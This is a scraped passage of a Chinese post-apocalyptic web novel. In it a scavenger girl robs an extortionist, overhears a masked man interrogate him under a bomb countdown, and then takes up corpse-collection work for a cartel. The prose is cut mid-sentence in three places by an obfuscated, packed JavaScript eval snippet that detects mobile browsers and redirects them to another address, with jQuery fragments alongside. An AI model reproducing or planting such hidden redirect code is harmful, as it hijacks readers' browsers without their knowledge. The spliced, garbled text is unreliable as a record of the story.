何威一思索，这姑娘说的有道理。 于是他微微退让，“我四你六，这是底线了。你想好了再说话，白星。” 白星深深看了一眼何威，“成交。” 却是在心里冷笑，呵，敢拿我的钱，也要看看你有没有命花。 何威达成了目的，很是满意，“不错，白星，你这些天表现得很好，我决定批准你转正了。” 想到白星的工资里有四成都属于自己，何威很难不露出笑容。 “你可以回去待命了。明天上午9点到总部报道，办理转正手续。” 白星扭头就走，何威在她后边喊，“等等。你今早刚拿了两周的工资，对不对？” 他伸出手来，意图昭然若揭。 白星嘴角微微抽搐，缓慢地从口袋里拿出还没捂热的工资，数了400块，给何威。 何威心里这个舒服，“小姑娘，好好干，以后好处少不了你的。” “……我走了。”白星骑上多轮摩托，一会儿就不见踪影了。 何威留在原地抽了一只劣质香烟，然后骑上了自己的小电驴，沿着人迹罕至的小路向前走。 当他骑出一段距离之后，在垃圾堆后面，白星微微探出头来。她刚才兜了个圈子，毫无声息地又绕回来了。 白星静悄悄地跟上何威。 何威的小电驴的速度本身就慢，再加上道路崎岖，何威的速度也就只比步行快一点。 白星悄悄地跟在他后面。 他们途径人迹罕至的荒原，路上慢慢的越来越有人烟，最后渐渐到了人声鼎沸的矿坑入口，白星混入人流，打扮灰扑扑的她，完美融入了人群。 矿坑入口附近，颇为热闹，人们自发的在这里摆摊，兜售着打来的野味、手工制品、垃圾堆里淘来的任何有价值的东西……就这样形成了一个繁荣的小型集市。 这里甚至有一家地穴式的酒吧，在酸雨没来的时候，酒吧外围的地面上摆满了掉色的塑料桌椅，醉酒的旷工在这里嘻嘻哈哈、吵吵嚷嚷。 何威在这里停下小电驴，“两升烈酒。今天有没有烤乌鸦？” 正在吭哧吭哧搬货的年轻人连忙放下货箱，“有，现成的！怎么付账？现金、信用卡、还是用物资支付？” “记到我账上，名字是‘何威’，不是早就跟你们说过了，月底给钱吗？” 何威说完了接过食物和酒就要走，年轻人连忙抓住了他的胳膊，“等一下。” “嗯？”何威不耐烦地皱起眉头。 年轻人从柜台掏出一个记账本，很快找到了写着何威名字的一页，地说：“已经过了31号了，上个月和上上个月的账单还没付呢？” 何威眯起眼睛，“小子，你知道你在和谁说话吗？” 年轻人挡在电瓶车面前，“我在和欠账的人说话？” 何威这辈子没这么无语过，他连对质都懒得对质，伸手就要打向年轻人，“滚！” 他跟着卡特尔集团的外勤队练过，颇有一些力量，本来以为那年轻人会被打中，然后人仰马翻，结果那年轻人竟然抓住了他的胳膊。 何威条件反射地一脚踹过去，年轻人立刻倒地，在倒地之前，堪堪抓住了小电瓶车的轮子，似乎是想支撑自己。 何威再次踢开年轻人，“滚滚滚，晦气。” 他骂骂咧咧地启动了小电驴。 刚骑了几米远，何威就感觉不对劲，整个电瓶车像疯了一样颠簸，他这才意识到发生了什么，“你他丨娘的扎了老子的胎？？？” 塑料椅子上吹牛喝酒的矿工们听见这动静，纷纷伸着脖子往这边看。 何威顿时火气冲天，“你知道老子是谁吗？卡特尔集团的胎你也敢扎？” 他从裤腰带里掏出了一把手枪，打开了保险栓。就这一眨眼的功夫，年轻人已经大笑着躲到货箱后面去了。 听见他的笑声，何威更加生气。 “给我出来！” “你不出来是吧！” “砰”地一声，何威对着货箱开了一枪。 酒客们顿时乱做一团，跑的跑，趴下的趴下，一个个生怕被牵连。 何威持枪步步逼近货箱，“给老丨子出来！” 等到了货箱跟前，却发现货箱背后的人不见了。 “艹！”何威气得破口大骂，来会扫视周围，死死盯着每一个酒客，就好像年轻人下一秒就会从人堆里钻出来一样。 酒客们一哄而散，独留何威在原地骂街。 这时候，伴随着汽车引擎的轰鸣声，一辆运输车驶入，司机从驾驶位上跳了下来，正是姗姗来迟的酒馆老板娘，“哎哟喂，何先生，怎么动了这么大的气啊。” 搞清楚原委后，老板娘怒目圆睁：“什么？沈冽这小兔崽子竟然敢划您的胎？等我抓到他，就给您送上门去，任凭您处置。他一个捡垃圾的拾荒小子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748445|174209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我看他可怜，给了他工作，没想到他竟然这样背刺我。我都说了100次了，卡特尔集团的贵客们，是我们最重要的客人，没想到这小子完全没听进去……” 而在一旁的大树的顶上，沈冽正静悄悄地蹲坐在高高树杈上，毫不在意何威的威胁与咒骂。他正仔细端详着手心一个指甲盖大小的圆形纸片，“刚才把试纸在他身上贴了六秒钟以上，却没有变色，说明……何威，不是天眷者。” 得出这个结论之后，沈冽难以抑制地嘴角上扬，露出了一个像鲨鱼一样的笑容。 就在此时，他忽然有一种微妙的感觉，就好像有人在背后看他，他迅速向那个方向看去，却什么都没有发现。 “奇怪……”沈冽微微皱眉。 而隐蔽角落里的的白星，在沈冽转头的那一刻，立刻转移了看向沈冽的视线。 “这人非常敏锐。”白星在内心评价道。 “而且身手很好。” 她的角度，刚好看到了沈冽如同行云流水一样的闪避动作和逃离路线，他借着几个货箱的遮掩，几步就来到树后面，蹭蹭蹭爬了上去，速度快，动作轻巧，完全避过了何威的耳目。 “这人强壮敏捷，看起来很难对付。好在暂时我们不是敌对状态。” 白星摸着下巴，这样出色的身手，却屈身在小酒馆里当服务生，这并不是很常见。 而酒馆里，老板娘做出了种种承诺：“赔您一辆新电瓶车，一模一样的……” 又拿出几条香烟、几瓶烈酒、稀有的固体食物、中等质量的营养剂，七七八八的东西装了一箱子，“我叫人给您送过去……” 又信誓旦旦地保证，“只要沈冽那小子一冒头，我就把他扭送卡特尔集团。” 何威这人喜欢拿卡特尔集团的名头威风作福，经常勒索小商小贩。 他生性贪财，喜欢占便宜，又好面子。而老板娘长袖善舞，又下了血本，顿时把他哄的服服帖帖。 老板娘开着运输车把何威送回家，连带着那些送他的物资。 白星一路跟着，目送何威进了家。 然后当天深夜，白星用黑色头巾蒙着脸，穿着矿区最常见的深棕色矿工装，带着装备、工具，又来到了何威家门口，她将多轮摩托藏在了垃圾山中的隐蔽处。 四下无人。 寂静的深夜，仅有悉悉索索的虫鸣，隔着防酸雨门，白星都能听见地穴里何威如雷的鼾声。 她打开工具箱，掏出钩子、钢丝、铁片、鼓捣了一两分钟，咔哒一声，打开了门锁。 这是她当年捡垃圾的时候，跟其他拾荒者学的手艺，还好没忘。但是这么多年了，稍稍有些生疏了。 白星无声地打开大门，里面漆黑一片，只有鼾声传来，白星打开旧手电，照着屋子里。 首先入眼的是桌子上倒着的酒瓶，和烤乌鸦的残骸，白星移动手中的光源，发现这是一间凌乱的客厅，角落里堆着还没扔的垃圾。尽头是空无一人的卫生间。还有一间卧室。 她屏息，轻轻推开半掩的卧室门，嚯，何威这小子睡得正香。屋里并没有别人了。 白星掏出一块破布按在何威鼻子和口唇上，破布上有她从医馆拿的麻醉剂，只会助力何威睡得更香。 五分钟后，听呼吸声，就可以判断出何威陷入了更深度的睡眠之中。 白星嘴角上扬，“何威。勒索他人，是有代价的。” 她带上手套，开始了疯狂的行动。 她要将何威家洗劫一空！ 何威皮夹子里面的一叠现金，被白星果断搜刮。摸着厚度，白星一开始估计有两三千，但是展开一看，白星顿时瞳孔微张——这一沓钱除了前面几张是一百一张的，后面的一沓都是千元大钞！也就是说，这一沓钱至少有两三万块！ “知道你有钱，没想到你小子这么有钱！” 何威珍藏的五箱好酒、四条香烟，被毫不留情地搬走!这都是垃圾区的硬通货，有时候比现金还收欢迎。白星对酒的价格了解的不多，但是保守估算，这些烟酒的价值，绝对过万了。 何威储藏的固体食物，包括几十件罐头、压缩饼干、真空包装食品，被白星留着口水搬走了。 客厅墙上挂着的老旧电视，也被白星摘下来挂到了多轮摩托上。这在垃圾区可是个新鲜玩意，一般人家里是没有的。 把所有东西都搬上多轮摩托的挂载车斗之后，是时候离开了。 带着丰收般的喜悦，白星最后看了一眼何威，这家伙毫无所觉，还在呼呼大睡呢。 正打算走，她忽然听到了第三个人的脚步声。 5. 第 5 章 白星当机立断，立刻钻进了床底下。 几乎就在同一时刻，卧室门被推开了。 有光源从门口照了进来，从白星的角度，看不到来人的全貌，只能看到包裹在黑色布料里的半截腿和带着铆钉的马丁靴。 白星不禁屏住了呼吸。 她看到来人一路走到床边，放下了光源。 她听到那人对何威说道：“起床了，小懒猪。” 要怎么形容他的声音呢？就像是一千只蚊子聚集在一起发出的嗡嗡声，简直不是人类能够产生的噪音。 白星立刻意识到，此人开了变声器。 白星无法判断来人是何威的朋友还是敌人，亦或是发现何威家有异动，于是进来帮忙的好心人？ 但是客观上来讲，这人不像是来帮忙的，他大半夜闯进来，还管何威叫“小懒猪”？白星脑中忽然产生了一些不可描述的内容，什么“我的主人”、“我的小懒猪”、“狠狠宠爱”…… 这……这是适合她这个年纪的小女孩听的墙角吗？ 但是她马上又联想何威圆润的啤酒肚，不禁恶寒。 被叫“小懒猪”的何威一动不动，鼾声如雷。 “啪”地一声，来人伸手就是一巴掌，拍在何威脸上。 何威还是没醒。 来人先是探了探何威的鼻息，又闻了闻气味，“一股酒气……喝多了？” 然后取下背后的手铐，单手把何威拎起来铐到了椅子上。 床底下的白星：“……” 越看越像那什么圈。 接下来，白星就听见噼里啪啦不间断的耳光声，响了得有十几下。 白星：“……” 这是往死里打啊。 这到底是爱的太深，还是恨得太深，根本无法判断。 十几巴掌过去，何威晕头转向地睁开眼睛，看清楚了来人的样子。 来人体格健壮，头戴黑色面罩，面容完全被遮掩，上身穿着黑色半袖衫，下面是满是口袋的黑色工装裤，布满银色铆钉的皮带系在腰间，脚踏一双黑色系带厚底靴，上面的铆钉闪闪发光。 “唔……你、你想要做什么？我奉劝你收手，我是卡特尔集——” 来人又是一个耳光上去。 何威被打得脑袋一歪，“艹，你他丨妈——” 又是一个耳光。 “住手——” “啪！” “我艹你——” “啪！” “卡特尔——” “啪！” “有人吗？救——” “啪！” 不知耳光声响了多久，何威终于学会闭嘴了。 来人：“我让你说话的时候，你再说话，知道了吗？” 何威脸肿的像猪头，眼中饱含恐惧和愤恨，点了点头。 来人从工装裤裤兜里摸出什么一个包裹来，挂在何威脖子上。 “你听好了，我不是个有耐心的人。” “我会问你一个问题，而你有十分钟的时间，给我一个答案。” “这个答案决定着你能不能活下去。” “你想好了再回答。” 面罩人撕开了包裹外面的纸袋，露出了里面的炸丨药、引爆器和火线。 何威倒抽了一口凉气，“不……” “我允许你说话了吗？” 何威惊恐地摇了摇头。 面罩人：“我本来还想给你十分钟的时间，看来是我太慷慨了。你现在，五分钟之内必须给出一个令我满意的答案。否则，我就会开启这个定时炸丨弹。” 他拨弄着火线上连接着的定时器，红色的数字从10：00变为了5：00。 白星瞳孔微张，定时炸丨弹？！ 紧接着，她听到了来人按下计时器开关的声音。 “现在，计时开始。” 听到计时器滴了一声，看到显示的时间从5:00变成了4：59，何威惊惧交加，面如土色。 面罩人终于问出了第一个问题：“红岛在哪？” 汗水一滴滴从何威脑门上滴落，他张着嘴，嘴唇动了动，什么话都没说出来，如同猪脑过载。 “哦，我忘了，你现在可以说话了。”来人补充道。 何威咽了咽口水，“红，红岛，我，我不知道你在说什么……” “生或者死，就在你一念之间。” 何威拼命摇着头，“我真的不知道……我根本不知道红岛是什么东西！” 面罩人抱着双臂，定时炸丨弹的倒计时在一旁滴答滴答地响着。时间一秒一秒过去，何威的表情越来越紧张。 面罩人：“还有三分钟。” 何威越来越慌乱，眼泪都出来了，“我有钱，我把钱都给你，求求了……” “像你这样的家伙，总觉得，钱能搞定一切，能摆平一切，是不是？” 面罩人哂笑，然后邦邦给了何威两拳。 何威听到了自己鼻骨断裂的声音。鼻血流了出来，鲜血、泪水和鼻涕糊满了他的整个脸。 倒计时2分钟。 看着倒计时一秒秒减少，何威越来越崩溃，他抽泣着，恳求着，哀叫着，而面罩人不为所动。 “何威，你明面上管辖着矿区的火葬场，很少有人知道，你其实兼任着卡特尔集团信息科的科长。 所有的集团员工去过哪里，都逃不过你的眼睛。 你现在告诉我，你不知道卡特尔集团的‘红岛’在哪里？你觉得可信吗？” 何威哭叫着，“我是知道员工去过哪，可是我没有权限知道干部以上级别的人去过哪。” “卡特尔集团知道你这么宁死不屈吗？他们会不会给你颁发一个烈士奖章？” 面罩人抬腿往外走，“我可不打算和你一起死。你自己享受这生命中的最后时刻吧。” 白星：“……” 这叫什么事啊。你俩有矛盾可以私下里解决，为什么要为难她一个路人。 何威看到面罩人要离开，心理防线终于被击破，“别！别走！！我说！” 倒计时一分三十秒。 面罩人停下了脚步。 何威绝望地哭泣，“如果我说出去，卡特尔集团会杀了我！他们会把我折磨死。” “你觉得，是他们快，还是炸弹快？” 面罩人弯腰注视着何威，“说吧，红岛的坐标？” 何威泪流满面，绝望地摇摇头，“红岛没有坐标。” 面罩人冷笑一声，给了他一耳光，“你自找的。” 倒计时一分钟。 “不、不、不、不！你听我解释！红岛不是一个岛，而是一艘船，一艘很大的船，或者说巨型游轮。” “它每隔一个月，就要回港口补给。” “下一次补给的时间，是6月10日，在鲸鱼港。” 说完了这一切，何威崩溃地大喊：“神主在上，我发誓，你想要的信息，我全都说了，快把定时炸弹关了！” 倒计时30秒。 面罩人没有关炸弹，“你去过红岛吗？” “没有。” “是吗？” 倒计时20秒、19秒…… 何威瞪着倒计时的眼睛几乎要掉出眼眶！ “求求你了，我从来没去过红岛！我只去鲸鱼港送过货！只在人手不足的时候被调过去干了一天的杂活！求求你了，把那东西关了！” “你知道你送的‘货’，都是活生生的人吗？” 何威吸着鼻子抽噎着，“……知、知道！” 倒计时10秒、9秒…… “你知道等待着他们的命运吗？” 何威嚎啕大哭，“知道！但我只是听说过！” 倒计时5秒、4秒…… “而你听之任之。” 何威精神彻底崩溃，“是的，我什么都没做，神主啊，救救我，救救我……” 鲜红的倒计时停留在还剩一秒的地方——面罩人在最后一秒剪断了火线。 何威以为自己死定了，但看到停止的倒计时，他无法抑制地大笑出声，“哈哈哈哈……我还活着，我还活着！感恩神主！我是您永远忠实的奴仆。” “你以为是神主救了你？可笑，在我看来，神主要么死了，要么对所有人都漠不关心。否则，像你这种垃圾，为什么过得比大多数人滋润呢？” 何威咽了口唾沫，虚弱地问道：“我已经全都交代了，你还想要什么？” 面罩人喑哑奇特的声音给出了最后的审判。 “今天暂时不杀你，你好自为之。” 何威一下子放松了下来。这时他才发现，自己的裆部早已被尿液浸湿了。 面招人打开捆绑何威的手铐，捡起提灯，转身离去。 何威看着他的背影，眼中闪过了一丝阴狠，他以迅雷不及掩耳之势，抄起枕头底下的手枪，打开了保险栓。 他今天必须杀了这个该死的面罩人！这个可恶的面罩人，不仅折磨他，还羞辱他，更不必提，面罩人还让他泄露了卡特尔集团的机密，而集团不会放过叛徒。 何威打定主意要把面罩人碎尸万段! 就在他即将扣动扳机的时候，面罩人忽然动了！ 何威几乎什么也没看见，什么也没听见，连反应的时间都没有。 “啊——” 何威听到自己喉咙里传来了惨叫声，他的胳膊扭曲着，一看就是断了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那年，幼小的他和母亲在荒野遇到了拾荒者，饥饿的拾荒者将她分而食之，连骨头上的碎肉末都被嘬干净了。而他因为被母亲藏在粪堆里，而逃过一劫。 如果不是母亲还不起高利贷，他们就不会流落荒野，她就不会遭遇这一切！ 从那时，他就知道，钱是这个世界上最重要的东西。后来，他花了半辈子爬上卡特尔集团的小头目的位置。 他从来不后悔自己勒索手下钱财、强占商贩财物。 这个世界欠他的。 他只后悔自己没有索取更多！ 何威倒在了地上，白星看见他两眼翻白，口吐白沫。 面罩人转身离开，没走两步，却又转了回来。 他摘下腰后的鞭子，弯下腰，以迅雷不及掩耳之势向床下挥出一击。 柔韧而强力的鞭子如同一条灵蛇，扫过床下的几乎每一寸空间。 鞭子传过来的感触让面罩人知道，这底下并没有人藏着。 他喃喃自语，“大概是错觉吧……那种……” 那种，被人注视的感觉。 然后他毫不犹豫的离开了。 等又过了好一会儿，白星猜测此人走远了，才让[纯黑魔术师]解除了[幻象]。 就在面罩人转身的那一刻，白星心中警铃大作，借着[幻象]的遮掩，缓慢而无声无息地移动到了床外边。 没道理[魔术师]可以边移动边营造虚拟攻击的幻象，她却不能让[纯黑魔术师]用幻象给移动的她打掩护吧？ 靠着这一点警惕和机敏，白星堪堪避过了面罩人的鞭子。 现在，白星探了探何威的鼻息，发现他还在喘气。 此地不宜久留，她打算赶紧离开这个是非之地，但是在出卧室门之前，她捡起了何威的枪和弹夹，同时再次让[纯黑魔术师]开启了幻象，以防面罩人在外面守株待兔。 然而她的担心是多余的，她围着何威的地穴转了两圈，发现面罩人已然不见踪影。 她骑上满载着钱财和货物的多轮摩托，借着夜色，她静悄悄地离开了。 带着这些赃物回医馆，可能会导致不必要的麻烦。 白星打算把这些物资藏起来，等风头过去了，慢慢在黑市上卖出去。 而她恰好知道一个绝佳的藏匿地点。 十分钟后，白星来到了火葬场废墟附近的墓园里，撬开了一个古老墓穴的盖棺石，小心翼翼地将大部分物资藏进去，自己只留下了一点食物，然后将盖棺石恢复原状。 没有人会打开这些古老的墓穴，无人在意它们。 安置好了赃物，白星擦了擦额头的汗，像老农盯着丰收的庄稼一样欣慰地看着墓地。 几小时后，何威在家迷迷糊糊醒来，面罩人已经不见踪影了，何威难以抑制地笑出声了，“哈，哈哈哈，哈哈，我，活下来了！真是神主保佑！” 6.第 6 章 面罩人是谁？红岛又是做什么的？贪财短视的何威，竟然是卡特尔集团信息科的科长？ 听了一次墙角，白星心中的疑团更多了。她把了解到的信息在脑海里归类，说不定以后会用的到。 到家后，白星蹑手蹑脚进了屋，林医生睡得正香，没有发现她出去过。 可能是因为经历了惊险的打斗，体力被消耗地差不多，所以接下来的一觉，白星睡得无比踏实。 直到上午8：30，古旧的闹钟将她吵醒。 飞快地洗漱完毕，灌了一支廉价营养液，跟林医生打了个招呼，她就出门了。今天是她去卡特尔集团报道转正的日子。 外面是个大晴天，不像前两日，总是乌云聚集，挡住了天上的好风景。 白星抬头，如同往日一样看到了这样的场景—— 一个金色的大球，悬挂在天空之上，数个金色的环围着绕金球肆意旋转。 尽管看到过无数次这个场景，但她依旧会感受到震撼。很难想象，这是人类的力量可以做到的。 金球悬浮在地面100千米的地方，体积相当于1/280个地球，它与地球一同自转。 有将近五百万人居住在金球的表面。那里是人类创造的净土，一个没有异兽袭扰的乐园。 地上的人们叫它天空城。 听说天空城的居民过得都是神仙般的日子，没有酸雨、没有辐射病和黑斑病、没有严寒和酷暑，干净的水和食物多到用不完，甚至可以拿来肆意浪费。 不过那与垃圾区的贫民无关。 白星垂下眼帘，不再关注绚丽的天空城。 她路过矿坑和集市，向北部的山脉驶去。 山体的半山腰处，有一座纯白堡垒，岗哨塔、围墙、各式建筑，沿着山脉起起伏伏。越靠近堡垒，白星心底越有一丝紧张和兴奋蔓延——终于要进入卡特尔集团的老巢了。她狠狠踩下油门，摩托经过干燥的沙土路面，在后面掀起一阵尘土。然后在离堡垒还有一定距离的地方，就被岗哨拦下。 “干什么的？” “办转正手续。” 卫兵捏着白星的工卡，对照着照片仔细看了看，又查阅记录档案，查到确实有这一条记录，才说道：“过去吧。” 前往堡垒的路上，白星看到有人在巡逻，她敏锐的感知到有不下三个暗哨分别埋伏在屋顶、荒野、灌木中。再又被盘问了两次之后，白星终于接近了堡垒的底部。 堡垒比从远处看着更加壮观，令人心生畏惧。其表面大面积使用了昂贵的防酸雨建材和涂料。 白星深吸一口气，推开了堡垒的前大门。映入眼帘的是一个一两百平的、两层楼高大厅，里面有五六条长长的办公桌，每个办公桌左右都坐着正在忙碌的文员，估计有七八十个个，他们有打电话的，有疯狂打字的，有戴着老花镜核对档案和账单的，有在打印东西的，吵吵嚷嚷。如果不是知道这里是卡特尔集团的老巢，白星会说这里像一个大型的贸易公司之类的。由于人员密集、空气流通地慢，室内显得很憋闷，隐隐有一种酸臭的味道。三个老旧的电扇在头顶嗡嗡地转，看上去非常不稳当，仿佛下一秒就要坠落。 根本没人注意推门进来的白星。她连问了好几个人，从他们不耐烦的手势和话语中大致知道了自已要去的方向。 白星穿过大厅步入走廊，不远处，一男一女两个职员在擦肩而过的时候撞了一下，女职员手里的纸质文件被撞掉，像雪花一样散落。 接下来，白星差点以为自己眼睛花了—— 男职员胳膊和手的动作快出了残影，一秒钟内，他把十来张文件全部拢到了自己的怀里。 他手里拿着文件，看了一眼女职员，一下子满脸通红，嗫嚅着说：“那个，你的文件掉了，给你。” 女职员愣了一下，“谢谢。” 隔着一段距离，都能感受到男职员浑身的僵硬和紧张，“呃，这是我的天术——【加速行动】，我是天眷者，要不要，要不要……” 要不要加个联系方式？死嘴，快说话啊！男职员内心想着。 女职员温和一笑，“我还要去送文件，先走了，这次谢谢你。” 女职员走远后，男职员的目光还停留在她身上，然后他听到后面传来取笑的声音。 “燕废，在勾搭美女啊。” “你是天眷者没错，可是天术只是F级的【加速行动】，统共加速的时间不能超过1秒，有什么用呢？谁想和这样的废物谈恋爱？” 燕废脸色阴沉了下来，嘴里嘟囔着：“……小心我趁你们和人亲热的时候给你们加速。” “你说什么？” “没……没什么。” 这个小插曲很快结束，燕废和嘲笑他的人往相反的方向去了。 旁观了一切的白星沿着坑坑洼洼的水泥楼梯上到二楼，在第三个门那里停下，门口歪歪扭扭地挂着[扫尾组]的牌子。 门没关，白星和里面的人对上眼睛。 正是刚才被取笑的燕废。 燕废抬起头，“你是……？” 等他看清楚白星的样子的时候，脸色有点冷了下来，他认出了她是在他被嘲笑的时候在一边旁观的人。 白星：“我叫白星，临时收尸工，来办转正手续的。” 燕废：“你来的不是时候，何威请假了，办不了这事。” “哦，打扰你了。” 她转身要走，即将出门的时候却又改变了想法，重新转了过来，“我觉得吧，这个世界上没有没用的天术。我曾经日夜祈祷，希望拥有一个。但是神主没有回应我的祷告。” 燕废的表情变得很复杂，他带着一点敌意问道：“你刚刚……都看到了？咳咳，你忽然说这个干什么？” 白星耸耸肩，“有感而发。只是觉得这个世界上没有没用的天术，哪怕是最低等级的天术，也是常人难以企及的梦。” 然后她打算离开，燕废却站了起来，“等等。” 白星停下脚步，“嗯？” 燕废：“跟我来，我带你去办转正手续。” 白星适时做出不解的样子：“你是？” 燕废：“扫尾组副组长，燕飞逸。” 白星像个小尾巴一样跟在燕飞逸身后，“那个，组长，除了能加速自己的行动，你还能加速别人的行动吗？这真是太神奇了，不知道你最快能加速到什么程度？……啊，不好意思，我对天术非常痴迷，所以——” “你……可真吵。”燕飞逸揉揉太阳穴。 白星打定主意扮演一个对天术非常痴迷的人设，这样以后当她打探天眷者的信息的时候，就不会显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752730|174209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得太突兀，“啊哈哈，燕哥可是天眷者。我是第一次遇到天眷者啊。” 一路上，白星巴拉巴拉又说了些废话，十句话里□□句话不离对天眷者的崇拜、对天术的好奇和着迷。 燕飞逸没说什么话，也没透露自己天术的任何信息，但是表情却渐渐松弛下来。 两个人终于到了终点，那是一间上锁的屋子，燕飞逸掏出工卡刷开门，一股冷气从里面涌了出来。 “好冷。”白星起了鸡皮疙瘩。 屋子里面摆满了各式各样的白星不认识的笨重仪器设备。 燕飞逸感慨道：“啧，这年头，仪器比人娇贵，我没有空调吹，仪器天天吹空调。” 他在某个半人高的银白色仪器上点了几下，仪器的屏幕亮了，紧接着他在键盘上敲击了一些内容，仪器嗡嗡嗡运转起来，五分钟后，吐出了一个装有银色液体的试管。燕飞逸将银色液体吸进一个类似于大型注射器的装置里。 “脖子露出来。”他说。 白星依言照做，一边问：“干嘛啊燕哥？” “它看上去是液体，但是进入人体后会变成类似硅胶一样的固体装置，总体来说，它就是一个小型定位器。有了这个，集团就能掌握每个员工的动态，新人都要注射的。你别动，要是扎穿了颈动脉，你就玩完了。” 白星心里咯噔一下，这可不是什么好东西，她还打算干点大事，怎么能被卡特尔集团掌握行踪？早知道还不如不和燕飞逸搭话呢，谁知道转正手续是这样啊？ 她想起了[纯黑魔术师]的【幻象】，可是在这之前她经过各种实验，发现这个能力只能影响视觉，而不能影响触觉，所以没办法用这个天术来逃避注射。 看来必须要经历这一遭了。白星心里紧张，面上却不显，反而还有闲心打趣：“哈哈，燕哥是天眷者，怎么可能失误扎穿我的颈动脉。不过被注射了这个，岂不是不能迟到早退了？” 燕飞逸：“你这小孩……算了……” 下一秒，注射器的针管就扎进了白星的后脖子，银色液体被推进白星的体内。 白星感觉到轻微的刺痛感和灼烧感，几秒后，针管被拔出。 一想到卡特尔集团在她体内放了一个定位器，她就觉得不爽。下次有什么行动之前，必须先解决这个问题。 后脖子上的异样感挥之不去，白星忍不住抓了两下，“燕哥，接下来做什么？” 燕飞逸：“出任务。” 白星：“转正手续……这就办完了？” “办完了。” “好吧，哪里的任务？我现在已经是收尸熟练工了。” 燕飞逸嗤笑了一声，来到走廊里点了一根烟，“事情没有你想象的那么简单，你以为收尸只是给人类收尸吗？卡特尔集团要回收的尸体，远比完全死亡、不会动弹、完全无害的人类尸体可怕的多。” “……燕哥，你在说什么？” “菜鸟，你要去给异兽收尸，你得剥下它们坚硬的皮、收集那些有毒的粘液、清理它们血肉模糊的内脏、拔出他们钢铁一样的牙齿……在此期间，如果你不小心被挥发的毒液毒死，被尸体上的尖刺划伤，或者因为长期接触异兽而感染辐射病，那就只能自认倒霉了。” 燕飞逸吐了一口烟圈，“这才是收尸工真正的工作内容。” 7.第 7 章 白星没有想到收尸工的工作还包含这一层。应聘的时候也没人告诉她呀。 她问到：“异兽？那些吃人的怪物？” 燕飞逸：“没错。它们不仅吃人……它们还……” 燕飞逸咽了一口唾沫，“总而言之，非常可怕。能够不和活着的它们打交道，我们已经非常幸运了。” 白星：“了解了，以前不知道收尸工还要做这个。” 燕飞逸抽着烟，“你不知道也正常。很少有人知道。卡特尔集团是在不久之前才开始在做异兽尸体加工的事情。异兽浑身是宝，身体部件可以加工成装备、药剂……这些利润非常高的。以前都是天眷者队伍私下里处理异兽，但是自从卡特尔集团和政府签订了协议，就获得了垃圾区所有异兽尸体的所有权。” 白星咋舌，“不愧是卡特尔集团。但是那些被抢了好处的天眷者队伍，就没有怨言吗？” “他们有怨言，也得问问卡特尔集团的拳头同不同意。毕竟，卡特尔集团拥有垃圾区数量最多的天眷者，也有垃圾区的最强战力——S级天眷者[高维者]。” 燕飞逸几下抽完了一支烟，此时屋里已经是烟味扑鼻，十分呛人，他翻出手机，点了几下，“哦对，你还没有下载工作APP吧？” 白星闻言露出了尴尬而不失礼貌的微笑，“燕哥，我大字不认识几个，熟练使用APP对我来说有点难了。” 燕飞逸像是司空见惯，毫无波澜，“这个问题不大，垃圾区识字的都算高材生了，怎么会来收尸。你不必担心，集团配备的手机都有AI朗读功能。你现在用的老式手机是给临时工过渡用的，这边有一个给转正员工用的新手机，你先用着，后面我再向集团补申请报告。” 白星拿出手机，按照燕飞逸的指示，安装了一个APP。它的图标是像是一个幽灵从刚咽气的人身体里飘出来。 还不知道这APP叫什么名字，白星对APP名字使用了AI朗读功能。 “死了吗？” 啊？ 白星又点了一下，听到毫无感情的机械音听道：“死了吗？” 啊??? 还真是非常符合收尸人风格的APP名称呢。 燕飞逸：“……都是技术部的那些家伙非要整活……习惯了就好。” 不是，你整天在习惯什么东西啊？ “集团会在APP发布收尸任务，当然，人手不够的时候，也会发布强制派遣任务。” 燕飞逸划拉着手机，定格在了其中一页。 “我添加了一个临时工作小组，只有你，我两个人，这次先带你收一次尸，以后就是你自己收尸了。” “喏，这个任务就不错，难度低，适合新手，F级异兽[多尾猿猴]。我已经把任务共享给你了。” 白星的死了吗APP里出现了一个弹窗，她点进去，发现任务详情拉不到头，正打算让AI朗读，燕飞逸说道：“没时间了，路上再看任务详情。” 白星和燕飞逸一路来到载具区，这里停满了代步的多轮摩托或者电瓶小车，还有一些运输载具和会务车。 燕飞逸几步跨上了旁边一辆白色厢式货车的驾驶室，白星也三步并作两步钻了进去。 里面有一个司机正等着，司机抱怨着：“怎么这么慢？快点上车，干完了这一票我还要去打麻将呢。” 燕飞逸：“你着什么急？晚去一会儿不碍事。” 厢式货车启动，俩人插科打诨抱怨了一会儿，燕飞逸指着白星：“新来的小孩，刚转正。” “李姐好。” 李姐不太感兴趣地应了一声。 燕飞逸对白星说：“和咱们收尸工配合的司机不一定每次都是同一个人，但是一共就那么几个，出几次任务你就认全了。遇上李姐开车，算是幸运的，其他几个人开车，怎么说呢，只能说人在车上走，魂在后面追。” “嗯嗯。” 厢式货车底盘很高，配备了垃圾区专用越野轮胎，在垃圾区简直所向披靡。即便燕飞逸称赞了李姐的车技，白星还是觉得十分颠簸。 